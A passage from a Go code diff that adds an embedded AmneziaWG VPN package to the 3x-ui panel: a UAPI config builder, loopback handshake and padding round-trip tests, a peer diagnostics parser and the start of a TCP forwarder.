fmt.Fprintf(&b, "rekey_after_time=%s\n", opts.RekeyAfterTime)
}
if opts.RekeyTimeout != "" {
fmt.Fprintf(&b, "rekey_timeout=%s\n", opts.RekeyTimeout)
}
if opts.RejectAfterTime != "" {
fmt.Fprintf(&b, "reject_after_time=%s\n", opts.RejectAfterTime)
}
if opts.KeepaliveTimeout != "" {
fmt.Fprintf(&b, "keepalive_timeout=%s\n", opts.KeepaliveTimeout)
}
if opts.MaxHandshakeAttempts != "" {
fmt.Fprintf(&b, "max_handshake_attempts=%s\n", opts.MaxHandshakeAttempts)
}
fmt.Fprintf(&b, "random_trailers=%t\n", opts.RandomTrailers)
fmt.Fprintf(&b, "disable_cookies=%t\n", opts.DisableCookies)
for _, p := range inst.Peers {
pubHex, err := wireguard.KeyToHex(p.PublicKey)
if err != nil {
return "", fmt.Errorf("peer %q: invalid public key: %w", p.Email, err)
}
fmt.Fprintf(&b, "public_key=%s\n", pubHex)
if p.PresharedKey != "" {
pskHex, err := wireguard.KeyToHex(p.PresharedKey)
if err != nil {
return "", fmt.Errorf("peer %q: invalid preshared key: %w", p.Email, err)
}
fmt.Fprintf(&b, "preshared_key=%s\n", pskHex)
}
for _, allowedIP := range p.AllowedIPs {
fmt.Fprintf(&b, "allowed_ip=%s\n", allowedIP)
}
}
return b.String(), nil
}
// writeOptionalLine writes a "name=v" UAPI line only when v is set -- used for
// h1-h4 and i1-i5, whose empty value means "let amneziawg-go fall back to its
// own default," mirroring how internal/amneziawg's generateServerConfig
// treats the same optional fields.
func writeOptionalLine(b *strings.Builder, name, v string) {
if v == "" {
return
}
fmt.Fprintf(b, "%s=%s\n", name, v)
}
+550
View File
@@ -0,0 +1,550 @@
package amneziawgnet
import (
"context"
"fmt"
"io"
"net"
"net/netip"
"strings"
"testing"
"time"
awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// TestNewDeviceHandshakeForwarderAndIdentity is Phase 1's real end-to-end
// proof, not just a compile check: a genuine amneziawg-go client (via that
// project's own tun/netstack.CreateNetTUN -- the client side doesn't need a
// forwarder or peer-identity resolution, only this package's server side
// does) completes a real 3-way handshake against a Device built by
// NewDevice, dials a destination that was never configured anywhere on the
// server, and the test verifies AttachTCPForwarder recovers that exact
// destination *and* PeerIndex.Lookup resolves the connection's source back
// to the right peer's Email -- Phase 1a/1b/1c working together, the same
// mechanism Phase 0's throwaway spike validated, now as a real, repo-owned,
// repeatable test instead of scratch code.
func TestNewDeviceHandshakeForwarderAndIdentity(t *testing.T) {
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
const listenPort = 58712 // fixed loopback test port, matches the validated Phase 0 spike approach
const wantEmail = "test-peer@example.com"
inst := amneziawg.Instance{
Id: 1,
InterfaceName: "awgtest1",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.201.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{{
Email: wantEmail,
PublicKey: clientPub,
AllowedIPs: []string{"10.201.0.2/32"},
}},
}
dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
if err != nil {
t.Fatalf("newUnconfiguredDevice: %v", err)
}
defer dev.Close()
idx := NewPeerIndex(inst.Peers)
type recovered struct {
email string
ok bool
dest netip.AddrPort
}
got := make(chan recovered, 1)
// Never configured anywhere server-side: the forwarder must recover it
// purely from the decapsulated packet, not from any routing table.
wantDest := netip.MustParseAddrPort("10.201.9.9:9999")
AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
defer conn.Close()
srcAddrPort, parseErr := netip.ParseAddrPort(conn.RemoteAddr().String())
var peer amneziawg.Peer
var ok bool
if parseErr == nil {
peer, ok = idx.Lookup(srcAddrPort.Addr().Unmap())
}
got <- recovered{email: peer.Email, ok: ok, dest: dest}
io.Copy(io.Discard, conn)
})
// Configure (IpcSet) must come after AttachTCPForwarder -- see
// newUnconfiguredDevice's doc comment: IpcSet is what starts the peer's
// receive goroutine, which must never be able to run before the
// forwarder is registered on the stack.
if err := dev.Configure(inst, DeviceOptions{}); err != nil {
t.Fatalf("Configure: %v", err)
}
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr("10.201.0.2")},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
// allowed_ip=0.0.0.0/0 on the client matches a real VPN client's own
// config (route everything through the tunnel) -- it's also what makes
// dialing an arbitrary, never-configured destination like wantDest
// actually get routed to the server peer at all: a narrower AllowedIPs
// here would make the client's own Device drop the packet as
// non-matching before it ever reached the wire.
clientConf := fmt.Sprintf(
"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
// Retry the dial rather than guessing a fixed handshake delay: the
// first attempts may race the handshake, later ones should succeed
// once it completes.
dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
var lastErr error
for {
conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
if dialErr == nil {
conn.Close()
break
}
lastErr = dialErr
select {
case <-dialCtx.Done():
t.Fatalf("client dial never succeeded: %v", lastErr)
case <-time.After(100 * time.Millisecond):
}
}
select {
case r := <-got:
if !r.ok {
t.Fatal("forwarder: peer identity lookup failed for the recovered connection")
}
if r.email != wantEmail {
t.Errorf("resolved peer email = %q, want %q", r.email, wantEmail)
}
if r.dest != wantDest {
t.Errorf("recovered destination = %v, want %v", r.dest, wantDest)
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for the forwarder to hand back the recovered connection")
}
}
// TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines is a cheap,
// network-free companion to the real round-trip test below: confirms the 2
// AWG 3.0 UAPI lines only appear when set, and that a malformed
// HeaderProtectionKey surfaces a clear, wrapped error instead of silently
// producing a UAPI string amneziawg-go's own IpcSet would reject uselessly.
func TestBuildUAPIConfigHeaderProtectionAndContentPaddingLines(t *testing.T) {
priv, _, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate keypair: %v", err)
}
inst := amneziawg.Instance{
PrivateKey: priv,
Obfuscation: amneziawg.Obfuscation31{
S1: 20, S2: 20, S3: 20, S4: 20,
},
}
conf, err := buildUAPIConfig(inst, DeviceOptions{})
if err != nil {
t.Fatalf("buildUAPIConfig with empty options: %v", err)
}
if strings.Contains(conf, "header_protection_key=") || strings.Contains(conf, "content_padding_addition=") {
t.Fatalf("empty DeviceOptions must not emit AWG 3.0 lines, got:\n%s", conf)
}
key, err := wireguard.GenerateWireguardPSK()
if err != nil {
t.Fatalf("generate header protection key: %v", err)
}
conf, err = buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: key, ContentPaddingAddition: "20-40"})
if err != nil {
t.Fatalf("buildUAPIConfig with AWG 3.0 options: %v", err)
}
if !strings.Contains(conf, "header_protection_key=") {
t.Errorf("expected a header_protection_key= line, got:\n%s", conf)
}
if !strings.Contains(conf, "content_padding_addition=20-40\n") {
t.Errorf("expected a content_padding_addition=20-40 line, got:\n%s", conf)
}
if _, err := buildUAPIConfig(inst, DeviceOptions{HeaderProtectionKey: "not-a-valid-base64-key"}); err == nil {
t.Fatal("a malformed HeaderProtectionKey must be rejected, not silently passed through")
}
}
// TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip is the real proof
// behind AmneziaWG 3.0's admin-facing HeaderProtectionKey/
// ContentPaddingAddition fields: a genuine amneziawg-go client, configured
// with matching header_protection_key/content_padding_addition UAPI lines
// (S1-S4 all >= 12, the hard requirement amneziawg-go's own IpcSet enforces
// for header protection), completes a real handshake against a Device built
// via NewDevice/DeviceOptions and exchanges real application data both
// directions through it. This is more than a handshake-completed check --
// it also confirms actual payload bytes survive content padding on both the
// send and receive sides, the specific area a third-party AmneziaWG
// installer project's docs flagged a past interop concern for (see the
// migration plan's own risk note); it is not a substitute for real-VPS
// verification against the official client, but it is the cheapest
// available local check against a regression in either engine's own padding
// handling.
func TestNewDeviceHeaderProtectionAndContentPaddingRoundTrip(t *testing.T) {
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
headerProtectionKey, err := wireguard.GenerateWireguardPSK()
if err != nil {
t.Fatalf("generate header protection key: %v", err)
}
const listenPort = 58713 // fixed loopback test port, distinct from the handshake test above
const contentPaddingAddition = "20-40"
inst := amneziawg.Instance{
Id: 2,
InterfaceName: "awgtest2",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.202.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20, // all >= 12, required for header protection
},
Peers: []amneziawg.Peer{{
Email: "hp-peer@example.com",
PublicKey: clientPub,
AllowedIPs: []string{"10.202.0.2/32"},
}},
}
opts := DeviceOptions{
HeaderProtectionKey: headerProtectionKey,
ContentPaddingAddition: contentPaddingAddition,
}
dev, err := newUnconfiguredDevice(inst, opts)
if err != nil {
t.Fatalf("newUnconfiguredDevice: %v", err)
}
defer dev.Close()
const wantRequest = "hello from client"
const wantReply = "hello from server"
serverDone := make(chan error, 1)
AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
defer conn.Close()
buf := make([]byte, len(wantRequest))
if _, err := io.ReadFull(conn, buf); err != nil {
serverDone <- fmt.Errorf("server read: %w", err)
return
}
if string(buf) != wantRequest {
serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
return
}
if _, err := conn.Write([]byte(wantReply)); err != nil {
serverDone <- fmt.Errorf("server write: %w", err)
return
}
serverDone <- nil
})
// Configure (IpcSet) must come after AttachTCPForwarder -- see
// newUnconfiguredDevice's doc comment.
if err := dev.Configure(inst, opts); err != nil {
t.Fatalf("Configure: %v", err)
}
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
headerProtectionKeyHex, err := wireguard.KeyToHex(headerProtectionKey)
if err != nil {
t.Fatalf("header protection key to hex: %v", err)
}
clientConf := fmt.Sprintf(
"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\nheader_protection_key=%s\ncontent_padding_addition=%s\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, headerProtectionKeyHex, contentPaddingAddition, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
var conn net.Conn
for {
c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.202.9.9:9999")
if dialErr == nil {
conn = c
break
}
select {
case <-dialCtx.Done():
t.Fatalf("client dial never succeeded: %v", dialErr)
case <-time.After(100 * time.Millisecond):
}
}
defer conn.Close()
if _, err := conn.Write([]byte(wantRequest)); err != nil {
t.Fatalf("client write: %v", err)
}
if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
t.Fatalf("SetReadDeadline: %v", err)
}
reply := make([]byte, len(wantReply))
if _, err := io.ReadFull(conn, reply); err != nil {
t.Fatalf("client read reply: %v", err)
}
if string(reply) != wantReply {
t.Fatalf("client got reply %q, want %q", reply, wantReply)
}
select {
case err := <-serverDone:
if err != nil {
t.Fatalf("server side: %v", err)
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for the server side to finish")
}
}
func TestBuildUAPIConfigRandomTrailersAndDisableCookiesLines(t *testing.T) {
priv, _, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate keypair: %v", err)
}
inst := amneziawg.Instance{PrivateKey: priv}
// Unlike HeaderProtectionKey/ContentPaddingAddition, these two lines
// must always be present -- see DeviceOptions.RandomTrailers's own doc
// comment on why an absent line (instead of an explicit "false") would
// break the reconfigure-in-place diff for a true->false edit.
conf, err := buildUAPIConfig(inst, DeviceOptions{})
if err != nil {
t.Fatalf("buildUAPIConfig with empty options: %v", err)
}
if !strings.Contains(conf, "random_trailers=false\n") {
t.Errorf("expected an explicit random_trailers=false line even when unset, got:\n%s", conf)
}
if !strings.Contains(conf, "disable_cookies=false\n") {
t.Errorf("expected an explicit disable_cookies=false line even when unset, got:\n%s", conf)
}
conf, err = buildUAPIConfig(inst, DeviceOptions{RandomTrailers: true, DisableCookies: true})
if err != nil {
t.Fatalf("buildUAPIConfig with both enabled: %v", err)
}
if !strings.Contains(conf, "random_trailers=true\n") {
t.Errorf("expected a random_trailers=true line, got:\n%s", conf)
}
if !strings.Contains(conf, "disable_cookies=true\n") {
t.Errorf("expected a disable_cookies=true line, got:\n%s", conf)
}
}
// TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip is the real proof
// behind AmneziaWG 3.1's two new device-wide toggles: a genuine amneziawg-go
// client with matching random_trailers=true/disable_cookies=true UAPI lines
// completes a real handshake against a Device built via NewDevice/
// DeviceOptions and exchanges real application data both directions through
// it. This specifically exercises amneziawg-go's receive.go size-matching
// path for RandomTrailers (device_test.go's HeaderProtection test doesn't
// enable it), which only accepts a message when
// `size == expectedSize || randomTrailers && size > expectedSize` -- proof
// that setting it on both ends really does interoperate, not just that
// IpcSet accepts the value.
func TestNewDeviceRandomTrailersAndDisableCookiesRoundTrip(t *testing.T) {
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
const listenPort = 58721 // fixed loopback test port, distinct from every other test in this package
inst := amneziawg.Instance{
Id: 3,
InterfaceName: "awgtest3",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.203.0.1/24"},
MTU: 1420,
Peers: []amneziawg.Peer{{
Email: "trailer-peer@example.com",
PublicKey: clientPub,
AllowedIPs: []string{"10.203.0.2/32"},
}},
}
opts := DeviceOptions{RandomTrailers: true, DisableCookies: true}
dev, err := newUnconfiguredDevice(inst, opts)
if err != nil {
t.Fatalf("newUnconfiguredDevice: %v", err)
}
defer dev.Close()
const wantRequest = "hello from client, with a trailer"
const wantReply = "hello from server, with a trailer"
serverDone := make(chan error, 1)
AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
defer conn.Close()
buf := make([]byte, len(wantRequest))
if _, err := io.ReadFull(conn, buf); err != nil {
serverDone <- fmt.Errorf("server read: %w", err)
return
}
if string(buf) != wantRequest {
serverDone <- fmt.Errorf("server got %q, want %q", buf, wantRequest)
return
}
if _, err := conn.Write([]byte(wantReply)); err != nil {
serverDone <- fmt.Errorf("server write: %w", err)
return
}
serverDone <- nil
})
// Configure (IpcSet) must come after AttachTCPForwarder -- see
// newUnconfiguredDevice's doc comment.
if err := dev.Configure(inst, opts); err != nil {
t.Fatalf("Configure: %v", err)
}
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr("10.203.0.2")},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
clientConf := fmt.Sprintf(
"private_key=%s\nrandom_trailers=true\ndisable_cookies=true\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
var conn net.Conn
for {
c, dialErr := clientNet.DialContext(dialCtx, "tcp", "10.203.9.9:9999")
if dialErr == nil {
conn = c
break
}
select {
case <-dialCtx.Done():
t.Fatalf("client dial never succeeded: %v", dialErr)
case <-time.After(100 * time.Millisecond):
}
}
defer conn.Close()
if _, err := conn.Write([]byte(wantRequest)); err != nil {
t.Fatalf("client write: %v", err)
}
if err := conn.SetReadDeadline(time.Now().Add(5 * time.Second)); err != nil {
t.Fatalf("SetReadDeadline: %v", err)
}
reply := make([]byte, len(wantReply))
if _, err := io.ReadFull(conn, reply); err != nil {
t.Fatalf("client read reply: %v", err)
}
if string(reply) != wantReply {
t.Fatalf("client got reply %q, want %q", reply, wantReply)
}
select {
case err := <-serverDone:
if err != nil {
t.Fatalf("server side: %v", err)
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for the server side to finish")
}
}
+140
View File
@@ -0,0 +1,140 @@
package amneziawgnet
import (
"bufio"
"strconv"
"strings"
"time"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// ClientDiagnostic is one configured peer's live state, cross-referenced
// from the running Device's own UAPI dump against the peer list the caller
// supplies. A peer that has never handshaked still appears here (with a
// zero LastHandshake) rather than being silently absent, so an admin can
// tell "misconfigured client" apart from "client just hasn't connected".
type ClientDiagnostic struct {
Email string
LastHandshake time.Time
RxBytes uint64
TxBytes uint64
Endpoint string
// AllowedIPs is comma-joined, from the running Device's own UAPI dump
// when it has ever handshaked (so a re-IP is reflected immediately);
// falls back to the peer's configured AllowedIPs otherwise.
AllowedIPs string
}
// Connected reports whether this client has ever completed a handshake.
func (c ClientDiagnostic) Connected() bool {
return !c.LastHandshake.IsZero()
}
// Diagnostics is a read-only snapshot of one embedded AmneziaWG inbound's
// live state. Gathering it can never itself change anything -- it only
// reads the already-running Device's own UAPI dump, never writes to it.
type Diagnostics struct {
Running bool
ListenPort int
Clients []ClientDiagnostic
}
// Diagnose builds a live snapshot for inbound id, cross-referenced against
// peers (the inbound's currently configured client list -- the caller
// supplies this since amneziawgnet has no DB access of its own). Running
// stays false (with an empty Clients list) when there's no managed
// instance for this id right now -- disabled, not yet reconciled, or never
// started -- which is itself useful information for an admin, not an error.
func Diagnose(id int, peers []amneziawg.Peer) Diagnostics {
dev, _, ok := GetManager().Lookup(id)
if !ok {
return Diagnostics{}
}
return diagnoseDevice(dev, peers)
}
func diagnoseDevice(dev *Device, peers []amneziawg.Peer) Diagnostics {
diag := Diagnostics{Running: true}
dump, err := dev.IpcGet()
if err != nil {
return diag
}
listenPort, states := parseUAPIDump(dump)
diag.ListenPort = listenPort
diag.Clients = make([]ClientDiagnostic, 0, len(peers))
for _, p := range peers {
hexKey, err := wireguard.KeyToHex(p.PublicKey)
if err != nil {
continue
}
st := states[hexKey]
cd := ClientDiagnostic{Email: p.Email, RxBytes: st.rxBytes, TxBytes: st.txBytes, Endpoint: st.endpoint}
if st.lastHandshakeSec > 0 {
cd.LastHandshake = time.Unix(st.lastHandshakeSec, 0)
}
if len(st.allowedIPs) > 0 {
cd.AllowedIPs = strings.Join(st.allowedIPs, ", ")
} else {
cd.AllowedIPs = strings.Join(p.AllowedIPs, ", ")
}
diag.Clients = append(diag.Clients, cd)
}
return diag
}
type peerUAPIState struct {
lastHandshakeSec int64
rxBytes, txBytes uint64
endpoint string
allowedIPs []string
}
// parseUAPIDump reads a Device.IpcGet() text dump: device-level keys first
// (only listen_port matters here), then one block per peer starting with
// its own public_key= line. Keyed by lowercase-hex public key, matching
// the hex form IpcGet itself emits (see wireguard.KeyToHex for the same
// base64-to-hex conversion applied to our own stored keys before lookup).
func parseUAPIDump(dump string) (listenPort int, states map[string]peerUAPIState) {
states = make(map[string]peerUAPIState)
var current string
scanner := bufio.NewScanner(strings.NewReader(dump))
for scanner.Scan() {
key, value, ok := strings.Cut(scanner.Text(), "=")
if !ok {
continue
}
switch key {
case "listen_port":
listenPort, _ = strconv.Atoi(value)
case "public_key":
current = value
states[current] = peerUAPIState{}
case "last_handshake_time_sec":
st := states[current]
st.lastHandshakeSec, _ = strconv.ParseInt(value, 10, 64)
states[current] = st
case "rx_bytes":
st := states[current]
st.rxBytes, _ = strconv.ParseUint(value, 10, 64)
states[current] = st
case "tx_bytes":
st := states[current]
st.txBytes, _ = strconv.ParseUint(value, 10, 64)
states[current] = st
case "endpoint":
st := states[current]
st.endpoint = value
states[current] = st
case "allowed_ip":
st := states[current]
st.allowedIPs = append(st.allowedIPs, value)
states[current] = st
}
}
return listenPort, states
}
+196
View File
@@ -0,0 +1,196 @@
package amneziawgnet
import (
"context"
"fmt"
"io"
"net/netip"
"testing"
"time"
awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
func TestDiagnoseNoRunningInstance(t *testing.T) {
diag := Diagnose(99999, nil)
if diag.Running {
t.Error("Diagnose on an id with no managed Device should report Running=false")
}
if len(diag.Clients) != 0 {
t.Errorf("Clients = %v, want empty when nothing is running", diag.Clients)
}
}
// Real handshake + real TCP payload (mirrors
// TestNewDeviceHandshakeForwarderAndIdentity's own setup), plus a second,
// never-connected peer, so the test proves both states diagnoseDevice must
// tell apart: a peer with a real handshake and traffic, and a configured
// peer that simply hasn't shown up yet.
func TestDiagnoseDeviceReportsListenPortAndPeerState(t *testing.T) {
serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate server keypair: %v", err)
}
clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate client keypair: %v", err)
}
_, idlePub, err := wireguard.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("generate idle-peer keypair: %v", err)
}
const listenPort = 58713 // distinct from device_test.go's fixed port
const activeEmail = "active@example.com"
const idleEmail = "idle@example.com"
inst := amneziawg.Instance{
Id: 2,
InterfaceName: "awgtest2",
ListenPort: listenPort,
PrivateKey: serverPriv,
PublicKey: serverPub,
Address: []string{"10.202.0.1/24"},
MTU: 1420,
Obfuscation: amneziawg.Obfuscation31{
Jc: 4, Jmin: 40, Jmax: 70,
S1: 20, S2: 30, S3: 20, S4: 20,
},
Peers: []amneziawg.Peer{
{Email: activeEmail, PublicKey: clientPub, AllowedIPs: []string{"10.202.0.2/32"}},
{Email: idleEmail, PublicKey: idlePub, AllowedIPs: []string{"10.202.0.3/32"}},
},
}
dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
if err != nil {
t.Fatalf("newUnconfiguredDevice: %v", err)
}
defer dev.Close()
// Attach before Configure -- see newUnconfiguredDevice's doc comment.
// Registering the forwarder doesn't require any peer to be configured
// yet, so this ordering is free; it's Configure's IpcSet that must
// never run before the forwarder is registered.
AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, _ netip.AddrPort) {
defer conn.Close()
io.Copy(io.Discard, conn)
})
if err := dev.Configure(inst, DeviceOptions{}); err != nil {
t.Fatalf("Configure: %v", err)
}
// diagnoseDevice must work before any client ever connects too: both
// peers configured, neither ever handshaked.
before := diagnoseDevice(dev, inst.Peers)
if !before.Running {
t.Fatal("Running = false for a Device that's actually up")
}
if before.ListenPort != listenPort {
t.Errorf("ListenPort = %d, want %d", before.ListenPort, listenPort)
}
if len(before.Clients) != 2 {
t.Fatalf("Clients count = %d, want 2 (before any handshake)", len(before.Clients))
}
for _, c := range before.Clients {
if c.Connected() {
t.Errorf("client %q reports Connected() before any real handshake", c.Email)
}
}
clientTun, clientNet, err := netstack.CreateNetTUN(
[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
if err != nil {
t.Fatalf("client CreateNetTUN: %v", err)
}
clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
defer clientDev.Close()
clientPrivHex, err := wireguard.KeyToHex(clientPriv)
if err != nil {
t.Fatalf("client key to hex: %v", err)
}
serverPubHex, err := wireguard.KeyToHex(serverPub)
if err != nil {
t.Fatalf("server key to hex: %v", err)
}
clientConf := fmt.Sprintf(
"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
clientPrivHex, serverPubHex, listenPort)
if err := clientDev.IpcSet(clientConf); err != nil {
t.Fatalf("client IpcSet: %v", err)
}
if err := clientDev.Up(); err != nil {
t.Fatalf("client Up: %v", err)
}
wantDest := netip.MustParseAddrPort("10.202.9.9:9999")
dialCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
var lastErr error
for {
conn, dialErr := clientNet.DialContext(dialCtx, "tcp", wantDest.String())
if dialErr == nil {
io.WriteString(conn, "diagnostics-test-payload")
conn.Close()
break
}
lastErr = dialErr
select {
case <-dialCtx.Done():
t.Fatalf("client dial never succeeded: %v", lastErr)
case <-time.After(100 * time.Millisecond):
}
}
// The handshake and byte counters update asynchronously with the dial
// returning; poll rather than sleeping a fixed guess.
deadline := time.Now().Add(5 * time.Second)
var after Diagnostics
for {
after = diagnoseDevice(dev, inst.Peers)
activeConnected := false
for _, c := range after.Clients {
if c.Email == activeEmail && c.Connected() {
activeConnected = true
}
}
if activeConnected || time.Now().After(deadline) {
break
}
time.Sleep(50 * time.Millisecond)
}
var active, idle *ClientDiagnostic
for i := range after.Clients {
switch after.Clients[i].Email {
case activeEmail:
active = &after.Clients[i]
case idleEmail:
idle = &after.Clients[i]
}
}
if active == nil || idle == nil {
t.Fatalf("expected both configured peers in Clients, got %v", after.Clients)
}
if !active.Connected() {
t.Error("active peer: Connected() = false after a real handshake + payload")
}
if active.RxBytes == 0 {
t.Error("active peer: RxBytes = 0 after a real client->server payload")
}
if idle.Connected() {
t.Error("idle peer: Connected() = true, but it never dialed anything")
}
if idle.RxBytes != 0 || idle.TxBytes != 0 {
t.Errorf("idle peer: RxBytes=%d TxBytes=%d, want both 0", idle.RxBytes, idle.TxBytes)
}
}
+43
View File
@@ -0,0 +1,43 @@
package amneziawgnet
import (
"net/netip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
"gvisor.dev/gvisor/pkg/waiter"
)
// AttachTCPForwarder attaches a TCP forwarder to gstack in promiscuous +
// spoofing mode, so it accepts connections addressed to any destination --
// not just the stack's own configured local address -- and hands the
// handler both the accepted connection and the tunnel client's real,
// dynamically-arbitrary destination (recovered from the connection's own
// TransportEndpointID, not from any preconfigured routing table). This is
// the mechanism the whole embedded-AmneziaWG design depends on: what the
// handler does with that destination (dial it directly, relay it into
// Xray's SOCKS5 inbound, ...) is entirely up to the caller.
//
// Adapted from xtls/xray-core's proxy/wireguard/tun.go createForwarder (MIT).
func AttachTCPForwarder(gstack *stack.Stack, handler func(conn *gonet.TCPConn, dest netip.AddrPort)) {
enablePromiscuousRouting(gstack)
fwd := tcp.NewForwarder(gstack, 0, 65535, func(r *tcp.ForwarderRequest) {
go func(r *tcp.ForwarderRequest) {
var wq waiter.Queue
id := r.ID()
ep, err := r.CreateEndpoint(&wq)
if err != nil {
r.Complete(true)
return
}
